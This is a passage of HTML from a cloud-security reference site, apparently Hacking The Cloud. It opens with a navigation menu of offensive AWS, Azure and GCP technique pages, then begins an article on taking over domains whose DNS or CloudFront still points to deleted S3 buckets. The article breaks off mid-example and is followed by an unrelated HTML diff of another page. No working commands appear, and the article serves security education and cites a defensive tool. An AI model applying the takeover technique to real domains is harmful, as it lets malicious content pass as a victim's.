href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Houston Hopkins</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=dns-and-cloudfront-domain-takeover-via-deleted-s3-buckets>DNS and CloudFront Domain Takeover via Deleted S3 Buckets<a class=headerlink href=#dns-and-cloudfront-domain-takeover-via-deleted-s3-buckets title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://web.archive.org/web/20231210202023/https://blog.lightspin.io/discover-dangling-domains-that-point-to-your-cloud-assets-to-prevent-subdomain-takeover>Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/domain-protect/domain-protect>domain-protect</a>: OWASP Domain Protect - prevent subdomain takeover. </p> </li> </ul> </div> <p>Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.</p> <div class="admonition info"> <p class=admonition-title>Note</p> <p>Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a <code>NoSuchBucket</code> error. For example:</p> <div class=highlight><pre><span></span><code>&lt;Error&gt;
 &lt;Code&gt;NoSuchBucket&lt;/Code&gt;
 &lt;Message&gt;The specified bucket does not exist&lt;/Message&gt;
 &lt;BucketName&gt;hackingthe.cloud&lt;/BucketName&gt;
diff --git a/aws/exploitation/route53_modification_privilege_escalation/index.html b/aws/exploitation/route53_modification_privilege_escalation/index.html
index 3355583aa..a2d7ffdf0 100644
--- a/aws/exploitation/route53_modification_privilege_escalation/index.html
+++ b/aws/exploitation/route53_modification_privilege_escalation/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC"><link href=https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ rel=canonical><link href=../orphaned_cloudfront_or_dns_takeover_via_s3/ rel=prev><link href=../s3-bucket-replication-exfiltration/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>AWS API Call Hijacking via ACM-PCA - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS API Call Hijacking via ACM-PCA - Hacking The Cloud"><meta property=og:description content="By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS API Call Hijacking via ACM-PCA - Hacking The Cloud"><meta property=twitter:description content="By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC"><link href=https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ rel=canonical><link href=../orphaned_cloudfront_or_dns_takeover_via_s3/ rel=prev><link href=../s3-bucket-replication-exfiltration/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>AWS API Call Hijacking via ACM-PCA - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS API Call Hijacking via ACM-PCA - Hacking The Cloud"><meta property=og:description content="By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS API Call Hijacking via ACM-PCA - Hacking The Cloud"><meta property=twitter:description content="By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#aws-api-call-hijacking-via-acm-pca class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 